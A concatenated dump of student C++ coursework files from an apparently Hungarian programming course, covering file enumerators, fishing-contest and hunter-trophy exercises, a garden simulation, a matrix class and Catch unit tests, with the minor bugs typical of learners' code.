>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> \n"; return s; } <file_sep>/practice/03_practice/practice_1/surface.h #pragma once #include <vector> class Surface { private: std::vector<int> x; bool l=false; int max, ind; unsigned int n=x.size(); public: Surface(vector<int> x); int largest_dent(); }<file_sep>/assignment/01_assignment/assignment_10_hunter/hunter.cpp #include "hunter.h" #include <iostream> #include "fstream" using namespace std; Hunter::Hunter(string filename) { ifstream x; x.open(filename); if(x.fail()) throw WRONG_FILENAME; x>>name>>age; string spieces, spot, date, special1; int weight, special2, special3; while(x>>spieces>>spot>>date>>weight) { if("lion"==spieces) { x>>special1; lionTrophies.push_back(new Lion(spieces, spot, date, weight, special1)); } else if("elephant"==spieces) { x>>special2>>special3; IvoryLength ivoryLength(special2, special3); elephantTrophies.push_back(new Elephant(spieces, spot, date, weight, ivoryLength)); } else if("rhino"==spieces) { x>>special2; rhinoTrophies.push_back(new Rhino(spieces, spot, date, weight, special2)); } else throw UNEXPECTED_SPIECES; } if(x.fail() && !x.eof()) throw UNEXPECTED_DATA; } int Hunter::MaleLionTrophiesCount() { int _count = 0; for(auto i:lionTrophies) { if("male"==i->getSpecialAttribute()) { _count++; } } return _count; } <file_sep>/assignment/01_assignment/assignment_9/cashDesk.h #ifndef CASHDESK_H #define CASHDESK_H #include "pump.h" class CashDesk { public: CashDesk(int unitPrice): _unitPrice(unitPrice) {}; int purchase(); void setPump(Pump *s) { _s=s;} private: int _unitPrice; Pump *_s; }; #endif // CASHDESK_H <file_sep>/lessons/lesson_2_1/main.cpp #include <iostream> #include <fstream> #include <vector> #include "point.h" #include "circle.h" using namespace std; bool search(const Circle& cir, const vector<Point> &t, unsigned int &ind); int main() { ifstream f("input.txt"); if(f.fail()) cout << "Hibas fajl nev!\n"; double a, b, c; f >> a >> b >> c; Circle cir(Point(a,b),c); vector<Point> t; while(f >> a >> b){ t.push_back(Point(a,b)); } unsigned int ind; if(search(cir, t, ind)) cout << "A (" << t[ind]._x << "," << t[ind]._y << ") koordinataju pont a korbe esik\n"; else cout << "Egyik pont sincs a korben\n"; return 0; } bool search(const Circle& cir, const vector<Point> &t, unsigned int &ind) { bool l = false; for(unsigned int i=0; !l && i<t.size(); ++i) { l = cir.contains(t[i]); ind = i; } return l; } <file_sep>/assignment/01_assignment/assignment_2/angler.cpp #include "angler.h" #include <sstream> using namespace std; Angler::Angler(string filename) { _x.open(filename); if(_x.fail()) throw FILE_NAME_ERROR; } void Angler::next() { _sx=norm; _curr.isCatfish=false; _curr.isNotCatfish=false; string line; getline(_x,line); if (!_x.fail() && line!="") { istringstream in(line); in >> _dx.anglerId >> _dx.contestId; while( in >> _dx.fish >> _dx.sizeOfFish ) { _curr.anglerId=_dx.anglerId; _curr.contestId=_dx.contestId; if(_dx.fish!="Harcsa") { _curr.isNotCatfish=true; } else if(_dx.fish=="Harcsa" && _curr.isCatfish) { if(_curr.sizeOfFish<_dx.sizeOfFish) { _curr.sizeOfFish=_dx.sizeOfFish; } } else if(_dx.fish=="Harcsa" && !_curr.isCatfish) { _curr.isCatfish=true; _curr.sizeOfFish=_dx.sizeOfFish; } } } else { _sx=abnorm; } _end=(_sx==abnorm); } <file_sep>/lessons/lesson_1_1/main.cpp #include <iostream> #include <fstream> #include <vector> using namespace std; int main() { ifstream f( "input.txt" ); if( f.fail() ) { cout << "File open error!\n"; return 1; } vector<int> x; int e; while( f >> e ) { x.push_back(e); } bool l=false; int max, ind; unsigned int n=x.size(); for(unsigned int i=2; i<n-1; i++) { if(l && (x[i-1] >= x[i] && x[i]<= x[i+1] )) { if(max<x[i]) { ind=i; max=x[i]; } } else if( !l && (x[i-1]>= x[i] && x[i] <= x[i+1])) { l=true; max=x[i]; ind=i; } } for(unsigned int i=0; i<n; i++) { cout << x[i] << " "; } cout << endl; cout << "index " << ind << " max "<< max<<endl; return 0; } <file_sep>/lessons/lesson_10_1_gardener/kertesz.h #pragma once #include "kert.h" class Kertesz { public: Kertesz(Kert* k) : _kert(k) {} void ultet(int azon, Noveny* noveny, int datum); void arat(int maiDatum); Kert* _kert; }; <file_sep>/lessons/lesson_10_1_gardener/garden.cpp #include "garden.h" Garden::Garden(int n) { _parcels.resize(n); for(int i = 0; i<n; ++i) _parcels[i] = new Parcel(i); } Garden::~Garden() { for(Parcel* p : _parcels) { delete p; } } std::vector<int> Garden::canHarvest(int date) { std::vector<int> result; for(Parcel* p : _parcels){ if( nullptr!=p->getPlant() && date - p->getplantingDate() == p->getPlant()->getRipeningTime() ) result.push_back(p->getId()); } return result; } <file_sep>/practice/practice_3_test/main.cpp #include <iostream> using namespace std; #define CATCH_CONFIG_MAIN // This tells Catch to provide a main() - only do this in one cpp file #include "catch.hpp" unsigned int Sum( unsigned int number1, unsigned int number2 ) { return number1+number2; } TEST_CASE( "Sums are computed", "[Sum]" ) { REQUIRE( Sum(1,2) == 3 ); REQUIRE( Sum(2,4) == 6 ); REQUIRE( Sum(3,4) == 6 ); REQUIRE( Sum(10,1) == 11 ); } <file_sep>/assignment/01_assignment/assignment_2/main.cpp #include <iostream> #include "angler.h" #include "contest.h" #include <sstream> using namespace std; angler firstQuestion(string filename) { Angler t(filename); angler winner; winner.isCatfish=false; for(t.first(); !t.end(); t.next()) { if(! t.current().isCatfish) ; else if( t.current().isCatfish && winner.isCatfish) { if(winner.sizeOfFish<t.current().sizeOfFish) { winner.anglerId=t.current().anglerId; winner.contestId=t.current().contestId; winner.sizeOfFish=t.current().sizeOfFish; } } else if(t.current().isCatfish && !winner.isCatfish) { winner.anglerId=t.current().anglerId; winner.contestId=t.current().contestId; winner.isCatfish=true; winner.sizeOfFish=t.current().sizeOfFish; } } return winner; } string secondQuestion(string filename) { Contest t(filename); string contestIds; t.first(); while( !t.end()) { if(t.current().isCatfish&&t.current().isNotCatfish) { contestIds += t.current().contestId + " "; } t.next(); } return contestIds; } //#define NORMAL_MODE #ifdef NORMAL_MODE int main() { try { string filename = "inp.txt"; angler winner; winner = firstQuestion(filename); cout << "A legnagyobb harcsa fogó dij nyertese: " << endl; if (!winner.isCatfish) { cout << "Nincs olyan, aki fogott harcsát" << endl; } else { cout << winner << endl; } string contestIds = secondQuestion(filename); cout << "Azok a vesenyek, ahol fogtak harcsát is: "<< endl; cout << (contestIds.length()==0?"Nem volt ilyen veseny":contestIds)<<endl; } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } return 0; } #else #define CATCH_CONFIG_MAIN #include "catch.hpp" TEST_CASE("first task empty file", "inp0.txt") { try { angler winner = firstQuestion("inp0.txt"); CHECK_FALSE(winner.isCatfish); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("first task 1 angler", "inp1.txt") { try { angler winner = firstQuestion("inp1.txt"); CHECK (winner.anglerId=="JANIBÁ"); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("first task 2 angler", "inp2.txt") { try { angler winner = firstQuestion("inp2.txt"); CHECK (winner.anglerId=="ANNA"); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("first task 3 angler", "inp3.txt") { try { angler winner = firstQuestion("inp3.txt"); CHECK (winner.anglerId=="JANIBÁ"); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("first task first catch", "inp1.txt") { try { angler winner = firstQuestion("inp1.txt"); CHECK (winner.anglerId=="JANIBÁ"); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("first task last catch ", "inp4.txt") { try { angler winner = firstQuestion("inp1.txt"); CHECK (winner.anglerId=="JANIBÁ"); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("first task exists winner ", "inp4.txt") { try { angler winner = firstQuestion("inp1.txt"); CHECK (winner.anglerId=="JANIBÁ"); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("first task not exists winner ", "inp5.txt") { try { angler winner = firstQuestion("inp5.txt"); CHECK_FALSE(winner.isCatfish); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("first task exists more winner ", "inp6.txt") { try { angler winner = firstQuestion("inp6.txt"); CHECK (winner.anglerId=="ANNA"); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("first task exists angler with no catch", "inp7.txt") { try { angler winner = firstQuestion("inp7.txt"); CHECK (winner.anglerId=="JANIBÁ"); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("first task exists angler with one catch", "inp7.txt") { try { angler winner = firstQuestion("inp7.txt"); CHECK (winner.anglerId=="JANIBÁ"); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("first task exists angler with more catch", "inp7.txt") { try { angler winner = firstQuestion("inp7.txt"); CHECK (winner.anglerId=="JANIBÁ"); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("first task first winner", "inp1.txt") { try { angler winner = firstQuestion("inp1.txt"); CHECK (winner.anglerId=="JANIBÁ"); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("first task last winner ", "inp4.txt") { try { angler winner = firstQuestion("inp1.txt"); CHECK (winner.anglerId=="JANIBÁ"); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("first task more winner ", "inp8.txt") { try { angler winner = firstQuestion("inp8.txt"); CHECK (winner.anglerId=="ANNA"); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("Second task empty file", "inp0.txt") { try { string contestIds = secondQuestion("inp0.txt"); CHECK(0==contestIds.length()); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("Second task 1 contest", "inp1.txt") { try { string contestIds = secondQuestion("inp1.txt"); CHECK ("Kiliti0512 "==contestIds); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("Second task 2 contest", "inp2.txt") { try { string contestIds = secondQuestion("inp2.txt"); CHECK ("Pilicsi0530 "==contestIds); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("Second task 3 contest", "inp3.txt") { try { string contestIds = secondQuestion("inp3.txt"); CHECK ("Kiliti0512 "==contestIds); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("Second task first contest with cat fish", "inp3.txt") { try { string contestIds = secondQuestion("inp3.txt"); CHECK ("Kiliti0512 "==contestIds); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("Second task last contest with cat fish", "inp4.txt") { try { string contestIds = secondQuestion("inp4.txt"); CHECK ("Kiliti0512 "==contestIds); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("Second task exists contest with cat fish", "inp4.txt") { try { string contestIds = secondQuestion("inp4.txt"); CHECK ("Kiliti0512 "==contestIds); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("Second task not exists contest with cat fish", "inp5.txt") { try { string contestIds = secondQuestion("inp5.txt"); CHECK(0==contestIds.length()); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("Second task an angler with no catch", "inp7.txt") { try { string contestIds = secondQuestion("inp7.txt"); CHECK("Kiliti0512 Pilicsi0530 "==contestIds); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("Second task an angler with one catch", "inp7.txt") { try { string contestIds = secondQuestion("inp7.txt"); CHECK("Kiliti0512 Pilicsi0530 "==contestIds); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("Second task an angler with two catch", "inp7.txt") { try { string contestIds = secondQuestion("inp7.txt"); CHECK("Kiliti0512 Pilicsi0530 "==contestIds); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } TEST_CASE("Second task more content", "inp7.txt") { try { string contestIds = secondQuestion("inp7.txt"); CHECK("Kiliti0512 Pilicsi0530 "==contestIds); } catch(Angler::error err) { if(err==Angler::FILE_NAME_ERROR) { cout << "Wrong filename!"; } } } #endif <file_sep>/assignment/01_assignment/assignment_9/cashDesk.cpp #include "cashDesk.h" #include <iostream> using namespace std; int CashDesk::purchase() { int price; price=_s->getDisplay()*_unitPrice; cout << "Fizetendő összeg: "<<price; _s->clearFuel(); return price; } <file_sep>/lessons/02_lesson/lesson_13_lion3/main.cpp #include <iostream> #include "summation.hpp" #include "linsearch.hpp" #include "seqinfileenumerator.hpp" #include "stringstreamenumerator.hpp" using namespace std; struct Trophy { string species; int weigth; }; istream& operator>>(istream& is, Trophy &e) { is >> e.species >> e.weigth; return is; } class MyLinSearch : public LinSearch<Trophy> { protected: bool cond(const Trophy& e) const override { return e.species == "lion"; } }; struct Hunter { string name; bool haslion; }; istream& operator>>(istream& is, Hunter &e) { string line; getline(is, line); stringstream in(line); in >> e.name; MyLinSearch p; StringStreamEnumerator<Trophy> enor(in); p.addEnumerator(&enor); p.run(); e.haslion = p.found(); return is; } class List : public Summation <Hunter, ostream> { public: List(ostream* o) : Summation<Hunter, ostream>(o){} protected: string func(const Hunter& e) const override { return e.name+"\n"; } bool cond(const Hunter& e) const override { return e.haslion; } }; int main(int argc, char* argv[]) { string fname = argc>1 ? argv[1] : "input.txt"; List p(&cout); SeqInFileEnumerator<Hunter> enor(fname); p.addEnumerator(&enor); p.run(); return 0; } <file_sep>/assignment/assignment_1/main.cpp //Author: <NAME> //Date: 2020.03.09 //Title: N matrix #include <iostream> using namespace std; #define NORMAL_MODE #ifdef NORMAL_MODE #include "menu.h" int main() { Menu menu; menu.run(); return 0; } #else #define CATCH_CONFIG_MAIN #include <fstream> #include "catch.hpp" #include "matrix.h" #include "read.hpp" így TEST_CASE("create", "") { Matrix b; ifstream y("inp1.txt"); REQUIRE(!y.fail()); y>>b; CHECK(b.write(0,0)==1); Matrix c; ifstream z("inp2.txt"); REQUIRE(!z.fail()); z>>c; CHECK(c.write(0,0)==1); CHECK(c.write(0,1)==0); CHECK(c.write(0,2)==1); CHECK(c.write(1,0)==1); CHECK(c.write(1,1)==1); CHECK(c.write(1,2)==1); CHECK(c.write(2,0)==1); CHECK(c.write(2,1)==0); CHECK(c.write(2,2)==1); Matrix d; ifstream v("inp3.txt"); REQUIRE(!v.fail()); v>>d; CHECK(d.write(0,0)==1); CHECK(d.write(0,1)==0); CHECK(d.write(0,2)==0); CHECK(d.write(0,3)==0); CHECK(d.write(0,4)==1); CHECK(d.write(1,0)==1); CHECK(d.write(1,1)==1); CHECK(d.write(1,2)==0); CHECK(d.write(1,3)==0); CHECK(d.write(1,4)==1); CHECK(d.write(2,0)==1); CHECK(d.write(2,1)==0); CHECK(d.write(2,2)==1); CHECK(d.write(2,3)==0); CHECK(d.write(2,4)==1); CHECK(d.write(3,0)==1); CHECK(d.write(3,1)==0); CHECK(d.write(3,2)==0); CHECK(d.write(3,3)==1); CHECK(d.write(3,4)==1); CHECK(d.write(4,0)==1); CHECK(d.write(4,1)==0); CHECK(d.write(4,2)==0); CHECK(d.write(4,3)==0); CHECK(d.write(4,4)==1); } TEST_CASE("getting and changing an element of the matrix", "") { Matrix b; ifstream y("inp1.txt"); REQUIRE(!y.fail()); y>>b; CHECK(b.write(0,0) == 1); b.setElemValue(0,0,9); CHECK(b.write(0,0) == 9); } TEST_CASE("copy constructor", "inp2.txt") { Matrix b; ifstream y("inp2.txt"); REQUIRE(!y.fail()); y>>b; Matrix a = b; CHECK(a.write(0,1)==0); CHECK(a.write(0,0)==1); CHECK(a.write(0,2)==1); CHECK(a.write(1,0)==1); CHECK(a.write(1,1)==1); CHECK(a.write(1,2)==1); CHECK(a.write(2,0)==1); CHECK(a.write(2,1)==0); CHECK(a.write(2,2)==1); } TEST_CASE("add", "inp0.txt inp4.txt inp5.txt") { Matrix a,b,c,d,f,z; ifstream xd("inp0.txt"); REQUIRE(!xd.fail()); xd>>a; ifstream yd("inp4.txt"); REQUIRE(!yd.fail()); yd>>b; ifstream zd("inp5.txt"); REQUIRE(!zd.fail()); zd>>z; c = a + b; CHECK(c.write(0,0)==7); CHECK(c.write(0,1)==0); CHECK(c.write(0,2)==6); CHECK(c.write(1,0)==8); CHECK(c.write(1,1)==8); CHECK(c.write(1,2)==7); CHECK(c.write(2,0)==13); CHECK(c.write(2,1)==0); CHECK(c.write(2,2)==10); d = b + a; CHECK(d.write(0,0)==c.write(0,0)); CHECK(d.write(0,1)==c.write(0,1)); CHECK(d.write(0,2)==c.write(0,2)); CHECK(d.write(1,0)==c.write(1,0)); CHECK(d.write(1,1)==c.write(1,1)); CHECK(d.write(1,2)==c.write(1,2)); CHECK(d.write(2,0)==c.write(2,0)); CHECK(d.write(2,1)==c.write(2,1)); CHECK(d.write(2,2)==c.write(2,2)); d = (a + b) + c; f = a + (b + c); CHECK(d.write(0,0)==f.write(0,0)); CHECK(d.write(0,1)==f.write(0,1)); CHECK(d.write(0,2)==f.write(0,2)); CHECK(d.write(1,0)==f.write(1,0)); CHECK(d.write(1,1)==f.write(1,1)); CHECK(d.write(1,2)==f.write(1,2)); CHECK(d.write(2,0)==f.write(2,0)); CHECK(d.write(2,1)==f.write(2,1)); CHECK(d.write(2,2)==f.write(2,2)); c = a + z; CHECK(c.write(0,0)==a.write(0,0)); CHECK(c.write(0,1)==a.write(0,1)); CHECK(c.write(0,2)==a.write(0,2)); CHECK(c.write(1,0)==a.write(1,0)); CHECK(c.write(1,1)==a.write(1,1)); CHECK(c.write(1,2)==a.write(1,2)); CHECK(c.write(2,0)==a.write(2,0)); CHECK(c.write(2,1)==a.write(2,1)); CHECK(c.write(2,2)==a.write(2,2)); } TEST_CASE("multiply", "inp0.txt inp4.txt inp5.txt") { Matrix a,b,c,z; ifstream xd("inp0.txt"); REQUIRE(!xd.fail()); xd>>a; ifstream yd("inp4.txt"); REQUIRE(!yd.fail()); yd>>b; ifstream zd("inp5.txt"); REQUIRE(!zd.fail()); zd>>z; c = a * b; CHECK(c.write(0,0)==45); CHECK(c.write(0,1)==0); CHECK(c.write(0,2)==45); CHECK(c.write(1,0)==23); CHECK(c.write(1,1)==12); CHECK(c.write(1,2)==22); CHECK(c.write(2,0)==26); CHECK(c.write(2,1)==0); CHECK(c.write(2,2)==22); c = a * z; CHECK(c.write(0,1)==0); CHECK(c.write(0,0)==0); CHECK(c.write(0,2)==0); CHECK(c.write(1,0)==0); CHECK(c.write(1,1)==0); CHECK(c.write(1,2)==0); CHECK(c.write(2,0)==0); CHECK(c.write(2,1)==0); CHECK(c.write(2,2)==0); } TEST_CASE("exceptions", "") { Matrix a; ifstream xd("inp0.txt"); REQUIRE(!xd.fail()); xd>>a; try { a.setElemValue(3,3,4); } catch(Matrix::matrixError ex) { CHECK(ex == Matrix::OVERINDEXED); } try { a.setElemValue(-1,3,4); } catch(Matrix::matrixError ex) { CHECK(ex == Matrix::OVERINDEXED); } Matrix b,c,d; ifstream y("inp1.txt"); REQUIRE(!y.fail()); y>>b; ifstream z("inp2.txt"); REQUIRE(!z.fail()); z>>c; try { d = b + c; } catch(Matrix::matrixError ex) { CHECK(ex == Matrix::INVALID_OPERATION); } try { d = b * c; } catch(Matrix::matrixError ex) { CHECK(ex == Matrix::INVALID_OPERATION); } try { c.setElemValue(0,1,4); } catch(Matrix::matrixError ex) { CHECK(ex == Matrix::NULLPART); } } #endif <file_sep>/assignment/01_assignment/assignment_2/angler.h #ifndef ENOR_H #define ENOR_H #include <string> #include <fstream> #include <iostream> struct angler { std::string anglerId; std::string contestId; bool isCatfish; bool isNotCatfish; int sizeOfFish; friend std::ostream& operator<<(std::ostream& s, const angler& e) { s << " Horgász: " << e.anglerId << " Verseny: " << e.contestId << std::endl; return s; } }; struct inputAngler { std::string anglerId; std::string contestId; std::string fish; int sizeOfFish; }; class Angler { public: enum error {FILE_NAME_ERROR}; Angler(std::string filename); Angler(); void first() { next(); }; void next(); bool end() { return _end; }; angler current() { return _curr; }; private: enum Status {norm, abnorm}; std::ifstream _x; inputAngler _dx; Status _sx; angler _curr; bool _end; }; #endif // ENOR_H <file_sep>/lessons/02_lesson/lessons_9_1/account.h #pragma once #include <string> #include <vector> #include "card.h" class Account { private: std::string _accountNo; int _balance; public: std::vector<Card*> _cards; Account(std::string accountNo) : _accountNo(accountNo), _balance(0) {} void addCard(Card* card) { _cards.push_back(card); } void add(int a) { _balance += a; } int getBalance() const { return _balance; } bool search(const std::string& cardNo) const; }; <file_sep>/lessons/02_lesson/lesson_4/kaktusz/main.cpp #include <iostream> #include <fstream> using namespace std; struct Kaktusz{ string nev; string os; string szin; }; enum Errors { WRONG_FILE_NAME }; ifstream openInputfile(const string &fnev); ofstream openOutputfile(const string &fnev); void valogat(ifstream &f, ofstream &g); ifstream openInputfile(const string &fnev) { ifstream f(fnev.c_str()); if(f.fail()) throw WRONG_FILE_NAME; return f; } ofstream openOutputfile(const string &fnev) { ofstream f(fnev.c_str()); if(f.fail()) throw WRONG_FILE_NAME; return f; } void valogat(ifstream &x, ofstream &y, ofstream &z) { Kaktusz e; while(x >> e.nev >> e.os >> e.szin){ if( "piros" == e.szin) y << e.nev << endl; if( "mexico"== e.os) z << e.nev << endl; } } //#define NORMAL_MODE #ifdef NORMAL_MODE using namespace std; int main() { try{ ifstream x = openInputfile("inp.txt");; ofstream y = openOutputfile("outpiros.txt"); ofstream z = openOutputfile("outmexico.txt"); valogat(x, y, z); } catch(Errors er){ cout << "Rossz filenÚv\n"; } return 0; } #else #define CATCH_CONFIG_MAIN #include "catch.hpp" TEST_CASE("empty", "inp0.txt") { ifstream x = openInputfile( "inp0.txt"); REQUIRE(!x.fail()); ofstream y = openOutputfile("outP0.txt"); REQUIRE(!x.fail()); ofstream z = openOutputfile("outM0.txt"); REQUIRE(!x.fail()); valogat(x,y,z); int c; string str; ifstream f("outP0.txt"); c = 0; while(getline(f,str)) ++c; CHECK(0==c); ifstream g("outM0.txt"); c = 0; while(getline(g,str)) ++c; CHECK(0==c); } TEST_CASE("one", "inp1.txt") { ifstream x = openInputfile( "inp1.txt"); REQUIRE(!x.fail()); ofstream y = openOutputfile("outP1.txt"); REQUIRE(!x.fail()); ofstream z = openOutputfile("outM1.txt"); REQUIRE(!x.fail()); valogat(x,y,z); int c; string str; ifstream f("outP1.txt"); c = 0; while(getline(f,str)) ++c; CHECK(1==c); ifstream g("outM1.txt"); c = 0; while(getline(g,str)) ++c; CHECK(1==c); } TEST_CASE("two", "inp2.txt") { ifstream x = openInputfile( "inp2.txt"); REQUIRE(!x.fail()); ofstream y = openOutputfile("outP2.txt"); REQUIRE(!x.fail()); ofstream z = openOutputfile("outM2.txt"); REQUIRE(!x.fail()); valogat(x,y,z); int c; string str; ifstream f("outP2.txt"); c = 0; while(getline(f,str)) ++c; CHECK(2==c); ifstream g("outM2.txt"); c = 0; while(getline(g,str)) ++c; CHECK(1==c); } TEST_CASE("first", "inp3.txt") { ifstream x = openInputfile( "inp3.txt"); REQUIRE(!x.fail()); ofstream y = openOutputfile("outP3.txt"); REQUIRE(!x.fail()); ofstream z = openOutputfile("outM3.txt"); REQUIRE(!x.fail()); valogat(x,y,z); int c; string str; ifstream f("outP3.txt"); c = 0; while(getline(f,str)) ++c; CHECK(1==c); ifstream g("outM3.txt"); c = 0; while(getline(g,str)) ++c; CHECK(1==c); } TEST_CASE("last", "inp4.txt") { ifstream x = openInputfile( "inp4.txt"); REQUIRE(!x.fail()); ofstream y = openOutputfile("outP4.txt"); REQUIRE(!x.fail()); ofstream z = openOutputfile("outM4.txt"); REQUIRE(!x.fail()); valogat(x,y,z); int c; string str; ifstream f("outP4.txt"); c = 0; while(getline(f,str)) ++c; CHECK(1==c); ifstream g("outM4.txt"); c = 0; while(getline(g,str)) ++c; CHECK(1==c); } #endif <file_sep>/lessons/02_lesson/lesson_11/creatures/creature/creature.cpp #include "creature.h" using namespace std; void Greenfinch::transmute(int &ground) { if ( alive() ){ switch(ground){ case sand: _power-=2; break; case grass: _power+=1; break; case marsh: _power-=1; ground = grass; break; } } } void DuneBeetle::transmute(int &ground) { if (alive() ){ switch(ground){ case sand: _power+=3; break; case grass: _power-=2; ground = sand; break; case marsh: _power-=4; ground = grass; break; } } } void Squelchy::transmute(int &ground) { if (alive() ){ switch(ground){ case sand: _power-=5; break; case grass: _power-=2; ground = marsh; break; case marsh: _power+=6; break; } } } <file_sep>/assignment/assignment_6/enor.cpp #include "enor.h" #include <iostream> using namespace std; Enor::Enor(const std::string fname) { _x.open(fname); if(_x.fail()) throw FILEERROR; } void Enor::next() { if(!(_end = (abnorm==_sx))) { _act.food = _dx.food; _act.price=0; for(; norm==_sx && _dx.food==_act.food; read()) { _act.price+=_dx.price*_dx.portion; } } } void Enor::read() { _sx =(_x >> _dx.number >> _dx.food >> _dx.date >> _dx.portion >> _dx.price)? norm:abnorm; } <file_sep>/lessons/02_lesson/lesson10_2_filesystem/main.cpp #include <iostream> #include "filesystem.h" using namespace std; int main() { FileSystem* sys = new FileSystem; sys->root.add(new File(2)); Folder* f = new Folder(); sys->root.add(f); f->add(new File(20)); f->add(new File(10)); Folder* ff = new Folder(); f->add(ff); ff->add(new File(100)); sys->root.add(new File(3)); cout << sys->root.getSize() << endl; delete sys; return 0; } <file_sep>/assignment/assignment_plus_2/menu.cpp #include "menu.h" #include <iostream> #include <fstream> using namespace std; void Menu::run() { int v = 0; do { menuWrite(); cout << "Choose a menu point: " << endl; cin >> v; switch(v) { case 0 : cout << "Bye!"; break; case 1: case1() ; break; case 2: case2() ; break; case 3: case3(); break; case 4: case4(); break; case 5: case5(); break; default : cout << "An integer between 0 and 5 is needed." << endl; break; } } while(v != 0); } void Menu::menuWrite() { cout << "0-exit\n"; cout << "1-create\n"; cout << "2-add\n"; cout << "3-sub\n"; cout << "4-mult\n"; cout << "5-div\n"; } void Menu::case1() { cout << "Complex number file name: "; string fn; cin>> fn; ifstream inp(fn); if(inp.fail()) { cout << "Wrong file name!"; return; } int a, b; inp>>a>>b; Complex c(a,b); c.print(); } void Menu::case2() { cout << "First complex number file name: "; string fn1; cin>> fn1; ifstream inp1(fn1); if(inp1.fail()) { cout << "Wrong file name!"; return; } int a, b; inp1>>a>>b; Complex c1(a,b); cout << "Second complex number file name: "; string fn2; cin>> fn2; ifstream inp2(fn2); if(inp2.fail()) { cout << "Wrong file name!"; return; } int c, d; inp2>>c>>d; Complex c2(c,d); Complex c3=c1+c2; c3.print(); } void Menu::case3() { cout << "First complex number file name: "; string fn1; cin>> fn1; ifstream inp1(fn1); if(inp1.fail()) { cout << "Wrong file name!"; return; } int a, b; inp1>>a>>b; Complex c1(a,b); cout << "Second complex number file name: "; string fn2; cin>> fn2; ifstream inp2(fn2); if(inp2.fail()) { cout << "Wrong file name!"; return; } int c, d; inp2>>c>>d; Complex c2(c,d); Complex c3=c1-c2; c3.print(); } void Menu::case4() { cout << "First complex number file name: "; string fn1; cin>> fn1; ifstream inp1(fn1); if(inp1.fail()) { cout << "Wrong file name!"; return; } int a, b; inp1>>a>>b; Complex c1(a,b); cout << "Second complex number file name: "; string fn2; cin>> fn2; ifstream inp2(fn2); if(inp2.fail()) { cout << "Wrong file name!"; return; } int c, d; inp2>>c>>d; Complex c2(c,d); Complex c3=c1*c2; c3.print(); } void Menu::case5() { cout << "First complex number file name: "; string fn1; cin>> fn1; ifstream inp1(fn1); if(inp1.fail()) { cout << "Wrong file name!"; return; } int a, b; inp1>>a>>b; Complex c1(a,b); cout << "Second complex number file name: "; string fn2; cin>> fn2; ifstream inp2(fn2); if(inp2.fail()) { cout << "Wrong file name!"; return; } int c, d; inp2>>c>>d; Complex c2(c,d); Complex c3=c1/c2; c3.print(); } <file_sep>/assignment/assignment_plus_2/menu.h #pragma once #include "complex.h" #include <fstream> class Menu { public: void run(); private: void menuWrite(); void case1(); void case2(); void case3(); void case4(); void case5(); }; <file_sep>/lessons/lesson_11/creatures/creature_visitor/creature.h //Author: <NAME> //Date: 2017.12.15. //Title: classes of creatures #pragma once #include <string> #include "ground.h" // class of abstract creatures class Creature{ protected: std::string _name; int _power; Creature (const std::string &str, int e = 0) :_name(str), _power(e) {} public: std::string name() const { return _name; } bool alive() const { return _power > 0; } void changePower(int e) { _power += e; } virtual void transmute(Ground* &court) = 0; virtual ~Creature () {} }; // class of green finches class Greenfinch : public Creature { public: Greenfinch(const std::string &str, int e = 0) : Creature(str, e){} void transmute(Ground* &court) override { court = court->change(this); } }; // class of dune beetles class DuneBeetle : public Creature { public: DuneBeetle(const std::string &str, int e = 0) : Creature(str, e){} void transmute(Ground* &court) override { court = court->change(this); } }; // class of squelchies class Squelchy : public Creature { public: Squelchy(const std::string &str, int e = 0) : Creature(str, e){} void transmute(Ground* &court) override{ court = court->change(this); } }; <file_sep>/assignment/01_assignment/assignment_5/main.cpp #include <iostream> using namespace std; #include <iostream> #include <fstream> #include 